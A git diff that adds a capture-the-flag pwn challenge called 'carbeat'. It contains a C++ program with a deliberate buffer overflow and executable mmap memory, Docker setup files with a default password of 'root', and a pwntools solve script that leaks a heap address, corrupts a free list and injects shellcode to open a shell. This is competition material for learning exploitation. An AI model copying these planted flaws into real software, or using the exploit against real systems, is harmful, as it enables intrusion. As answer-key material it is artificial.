diff --git a/services/carbeat/.gdb_history b/services/carbeat/.gdb_history new file mode 100644 index 0000000..265d401 --- /dev/null +++ b/services/carbeat/.gdb_history @@ -0,0 +1,17 @@ +c +q +c +q +c +c +c +c +c +q +c +c +c +c +c +c +q diff --git a/services/carbeat/Dockerfile b/services/carbeat/Dockerfile new file mode 100644 index 0000000..c7e9dfe --- /dev/null +++ b/services/carbeat/Dockerfile @@ -0,0 +1,32 @@ +# Dockerfile +FROM ubuntu:24.04 + +# Build-time args +ARG PASSWORD=root +ENV DEBIAN_FRONTEND=noninteractive +WORKDIR /home/ctf/chall + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + make \ + g++ \ + socat \ + build-essential \ + openssh-server \ + bash \ + nano \ + vim \ + && rm -rf /var/lib/apt/lists/* + +RUN useradd -m -d /home/ctf -s /bin/bash ctf && echo "ctf:${PASSWORD}" | chpasswd + +RUN mkdir -p /var/run/sshd + +COPY chall/ /home/ctf/chall +COPY ./entrypoint.sh /entrypoint.sh + +RUN chmod +x /entrypoint.sh /home/ctf/chall/run.sh && \ + chown -R root:root /home/ctf/chall && chmod -R 555 /home/ctf/chall + +EXPOSE 9000 22 +CMD ["/entrypoint.sh"] \ No newline at end of file diff --git a/services/carbeat/Makefile b/services/carbeat/Makefile new file mode 100644 index 0000000..c658459 --- /dev/null +++ b/services/carbeat/Makefile @@ -0,0 +1,18 @@ +# Makefile for final_gemastik +# Builds available binaries: mybini (C++), storage (C++), main (C), test (C) + +CXX := g++ +CXXFLAGS := -std=c++17 -O2 -Wall -Wextra + +# Explicit targets (adjust file names as needed) +MYBINI_SRCS := mybini.cpp + +.PHONY: all clean + +all: mybini + +mybini: $(MYBINI_SRCS) + $(CXX) $(CXXFLAGS) $< -o $@ + +clean: + rm -f mybini *.o \ No newline at end of file diff --git a/services/carbeat/chall/Makefile b/services/carbeat/chall/Makefile new file mode 100644 index 0000000..502b456 --- /dev/null +++ b/services/carbeat/chall/Makefile @@ -0,0 +1,14 @@ +CXX := g++ +CXXFLAGS := -std=c++17 -Wall -Wextra + +MYBINI_SRCS := mybini.cpp + +.PHONY: all clean + +all: mybini + +mybini: $(MYBINI_SRCS) + $(CXX) $(CXXFLAGS) $< -o $@ + +clean: + rm -f mybini *.o \ No newline at end of file diff --git a/services/carbeat/chall/mybini b/services/carbeat/chall/mybini new file mode 100644 index 0000000..9de5401 Binary files /dev/null and b/services/carbeat/chall/mybini differ diff --git a/services/carbeat/chall/mybini.cpp b/services/carbeat/chall/mybini.cpp new file mode 100644 index 0000000..94ca282 --- /dev/null +++ b/services/carbeat/chall/mybini.cpp @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +struct Bini { + Bini *next = nullptr; + char *curr = nullptr; + Bini() {} + Bini(char *my) { + curr = my; + } +}; + +class MyKisah { + +private: + Bini *free = nullptr; + Bini *used = nullptr; + char *kisah; + +public: + MyKisah() { + kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + for (int i = 0; i < 0x120; i += 0x20) { + Bini *tmp = free; + free = new Bini(kisah + i); + free->next = tmp; + } + } + + int add(char *bini) { + if (!free) return -1; + Bini *tmp = used; + used = free; + free = free->next; + used->next = tmp; + strncpy(used->curr, bini, 0x20); + return 0; + } + + int del(unsigned int id) { + if (!used) return -1; + if (!id) { + Bini *tmp = free; + free = used; + used = used->next; + free->next = tmp; + return 0; + } + Bini *cur = used; + for (int i = 0; i < (int)id - 1; ++i) { + if (!cur) return -1; + cur = cur->next; + } + if (!cur || !cur->next) return -1; + Bini *tmp = free; + free = cur->next; + cur->next = cur->next->next; + free->next = tmp; + return 0; + } + + void view(int id) { + Bini *cur = used; + for (int i = 0; i < id; ++i) { + if (!cur) { + std::cout << "no bini\n"; + return; + } + cur = cur->next; + } + if (!cur) { + std::cout << "no bini\n"; + return; + } + std::cout << cur->curr << '\n'; + } + +}; + +class Karbit { + protected: + size_t karbit_level; + public: + char karbit[20]; + Karbit() { + std::cout << "nama: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + std::cout << "level karbit (0-100): "; + std::cin >> karbit_level; + } + void info(){ + std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n"; + } + virtual void mybini() = 0; +}; + +class User: public Karbit { + + private: + MyKisah my; + public: + User(){} + void mybini() { + std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n"; + } + + void edit_karbit(){ + std::cout << "karbit old: " << karbit << '\n'; + std::cout << "karbit new: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + } + + void add_bini(){ + char bini[0x20]; + std::cout << "nama bini: "; + std::cin.ignore(); + std::cin.getline(bini, 0x20); + if (my.add(bini) == -1) { + std::cout << "gagal menambah bini\n"; + return; + } + } + + void view_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + my.view(idx); + } + + void delete_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + if (my.del(idx) == -1) { + std::cout << "gagal menghapus bini\n"; + return; + } + } +}; + +std::vector users; +int selected_user = -1; + +int main(){ + int c; + + for (;;){ + if (selected_user == -1) { + std::cout << "1. register" << std::endl; + std::cout << "2. login" << std::endl; + std::cout << "3. list karbit" << std::endl; + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 1: + users.push_back(User{}); + break; + case 2: + { + std::string name; + std::cout << "nama: "; + std::cin >> name; + for (int i = 0; i < (int)users.size(); i++){ + if (users[i].karbit == name) { + selected_user = i; + break; + } + } + + if (selected_user == -1) { + std::cout << "karbit tidak ditemukan" << std::endl; + } + } + break; + case 3: + for (auto& user : users) user.info(); + break; + default: + std::cout << "invalid option" << std::endl; + } + } else { + users[selected_user].mybini(); + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 0: + users[selected_user].edit_karbit(); + break; + case 1: + users[selected_user].add_bini(); + break; + case 2: + users[selected_user].view_bini(); + break; + case 3: + users[selected_user].delete_bini(); + break; + case 4: + selected_user = -1; + break; + default: + std::cout << "invalid option" << std::endl; + break; + } + } + } + + return 0; +} + + +void init() { + setbuf(stdin, nullptr); + setbuf(stdout, nullptr); + setbuf(stderr, nullptr); +} \ No newline at end of file diff --git a/services/carbeat/chall/run.sh b/services/carbeat/chall/run.sh new file mode 100644 index 0000000..2625de4 --- /dev/null +++ b/services/carbeat/chall/run.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +exec socat TCP-LISTEN:9000,reuseaddr,fork EXEC:./mybini \ No newline at end of file diff --git a/services/carbeat/dist/carbeat.zip b/services/carbeat/dist/carbeat.zip new file mode 100644 index 0000000..f9ddc34 Binary files /dev/null and b/services/carbeat/dist/carbeat.zip differ diff --git a/services/carbeat/docker-compose.yml b/services/carbeat/docker-compose.yml new file mode 100644 index 0000000..9785e0b --- /dev/null +++ b/services/carbeat/docker-compose.yml @@ -0,0 +1,14 @@ +services: + carbeat: + container_name: carbeat_container + hostname: carbeat + restart: always + build: + context: . + args: + - PASSWORD=root + ports: + - "14000:9000" + - "14022:22" + environment: + - FLAG=GEMASTIK18{local_flag} \ No newline at end of file diff --git a/services/carbeat/entrypoint.sh b/services/carbeat/entrypoint.sh new file mode 100644 index 0000000..1d285ef --- /dev/null +++ b/services/carbeat/entrypoint.sh @@ -0,0 +1,24 @@ +#!/bin/bash +set -e + +ssh-keygen -A + +grep -q "^PermitRootLogin" /etc/ssh/sshd_config && \ + sed -i "s/^PermitRootLogin.*/PermitRootLogin no/" /etc/ssh/sshd_config || \ + echo "PermitRootLogin no" >> /etc/ssh/sshd_config + +grep -q "^PasswordAuthentication" /etc/ssh/sshd_config && \ + sed -i "s/^PasswordAuthentication.*/PasswordAuthentication yes/" /etc/ssh/sshd_config || \ + echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config + +echo "AllowUsers ctf" >> /etc/ssh/sshd_config + +/usr/sbin/sshd + +if [ -n "$FLAG" ]; then + echo "$FLAG" > /flag.txt + chmod 644 /flag.txt + chown root:root /flag.txt +fi + +exec su -c "cd /home/ctf/chall && ./run.sh" -s /bin/bash ctf \ No newline at end of file diff --git a/services/carbeat/exploit/solve.py b/services/carbeat/exploit/solve.py new file mode 100644 index 0000000..fa538e5 --- /dev/null +++ b/services/carbeat/exploit/solve.py @@ -0,0 +1,81 @@ +from pwn import * +context.terminal = "tmux splitw -h".split() +context.binary = elf = ELF('chall/mybini') + +#p = gdb.debug(elf.path, ''' +#set max-visualize-chunk-size 0x500 +#b * _ZN7MyKisah3addEPc+110 +#c +#''') +#p = elf.process() +#gdb.attach(p) +p = remote('localhost', 14000) + +def register(name, level): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b': ', name) + p.sendlineafter(b': ', str(level).encode()) + +def login(name): + p.sendlineafter(b'> ', b'2') + p.sendlineafter(b': ', name) + +def logout(): + p.sendlineafter(b'> ', b'4') + +def add(data): + p.sendlineafter(b'> ', b'1') + p.sendlineafter(b': ', data) + +def edit(name): + p.sendlineafter(b'> ', b'0') + p.sendlineafter(b': ', name) + +def delete(idx): + p.sendlineafter(b'> ', b'3') + p.sendlineafter(b': ', str(idx).encode()) + +register(b'user0', 0xdeadbeef) +register(b'user1', 0xdeadbeef) +register(b'user2', 0xdeadbeef) + +login(b'user2') +for i in range(8): add(b'a') + +read = shellcraft.read(0, 'rdx', 0x100) +add(asm(read)) +logout() + +register(b'user3', 0xdeadbeef) +register(b'user4', 0xdeadbeef) +register(b'user5', 0xdeadbeef) +register(b'x' * 0x10, 0xdeadbeef) +register(b'user7', 0xdeadbeef) + +login(b'user5') +for i in range(4): add(b'a') + +edit(b'z' * 0x18) +add(b'\0') +logout() + +p.sendlineafter(b'> ', b'3') +p.recvuntil(b'x' * 0x10) + +heap = unpack(p.recvuntil(b' adalah', drop=True),'all') +log.info(f"{hex(heap) = }") + +login(b'z'*0x18) +delete(0) + +add(b'a' * 8 + p64(heap-0x130)) +delete(0) + +logout() +login(b'x'*0x10) + +add(p64(heap-0x1f8)) +sleep(1) +p.send(b'a' * 0xd + asm(shellcraft.sh())) + +p.interactive() \ No newline at end of file diff --git a/services/carbeat/mybini.cpp b/services/carbeat/mybini.cpp new file mode 100644 index 0000000..94ca282 --- /dev/null +++ b/services/carbeat/mybini.cpp @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +struct Bini { + Bini *next = nullptr; + char *curr = nullptr; + Bini() {} + Bini(char *my) { + curr = my; + } +}; + +class MyKisah { + +private: + Bini *free = nullptr; + Bini *used = nullptr; + char *kisah; + +public: + MyKisah() { + kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + for (int i = 0; i < 0x120; i += 0x20) { + Bini *tmp = free; + free = new Bini(kisah + i); + free->next = tmp; + } + } + + int add(char *bini) { + if (!free) return -1; + Bini *tmp = used; + used = free; + free = free->next; + used->next = tmp; + strncpy(used->curr, bini, 0x20); + return 0; + } + + int del(unsigned int id) { + if (!used) return -1; + if (!id) { + Bini *tmp = free; + free = used; + used = used->next; + free->next = tmp; + return 0; + } + Bini *cur = used; + for (int i = 0; i < (int)id - 1; ++i) { + if (!cur) return -1; + cur = cur->next; + } + if (!cur || !cur->next) return -1; + Bini *tmp = free; + free = cur->next; + cur->next = cur->next->next; + free->next = tmp; + return 0; + } + + void view(int id) { + Bini *cur = used; + for (int i = 0; i < id; ++i) { + if (!cur) { + std::cout << "no bini\n"; + return; + } + cur = cur->next; + } + if (!cur) { + std::cout << "no bini\n"; + return; + } + std::cout << cur->curr << '\n'; + } + +}; + +class Karbit { + protected: + size_t karbit_level; + public: + char karbit[20]; + Karbit() { + std::cout << "nama: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + std::cout << "level karbit (0-100): "; + std::cin >> karbit_level; + } + void info(){ + std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n"; + } + virtual void mybini() = 0; +}; + +class User: public Karbit { + + private: + MyKisah my; + public: + User(){} + void mybini() { + std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n"; + } + + void edit_karbit(){ + std::cout << "karbit old: " << karbit << '\n'; + std::cout << "karbit new: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + } + + void add_bini(){ + char bini[0x20]; + std::cout << "nama bini: "; + std::cin.ignore(); + std::cin.getline(bini, 0x20); + if (my.add(bini) == -1) { + std::cout << "gagal menambah bini\n"; + return; + } + } + + void view_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + my.view(idx); + } + + void delete_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + if (my.del(idx) == -1) { + std::cout << "gagal menghapus bini\n"; + return; + } + } +}; + +std::vector users; +int selected_user = -1; + +int main(){ + int c; + + for (;;){ + if (selected_user == -1) { + std::cout << "1. register" << std::endl; + std::cout << "2. login" << std::endl; + std::cout << "3. list karbit" << std::endl; + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 1: + users.push_back(User{}); + break; + case 2: + { + std::string name; + std::cout << "nama: "; + std::cin >> name; + for (int i = 0; i < (int)users.size(); i++){ + if (users[i].karbit == name) { + selected_user = i; + break; + } + } + + if (selected_user == -1) { + std::cout << "karbit tidak ditemukan" << std::endl; + } + } + break; + case 3: + for (auto& user : users) user.info(); + break; + default: + std::cout << "invalid option" << std::endl; + } + } else { + users[selected_user].mybini(); + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 0: + users[selected_user].edit_karbit(); + break; + case 1: + users[selected_user].add_bini(); + break; + case 2: + users[selected_user].view_bini(); + break; + case 3: + users[selected_user].delete_bini(); + break; + case 4: + selected_user = -1; + break; + default: + std::cout << "invalid option" << std::endl; + break; + } + } + } + + return 0; +} + + +void init() { + setbuf(stdin, nullptr); + setbuf(stdout, nullptr); + setbuf(stderr, nullptr); +} \ No newline at end of file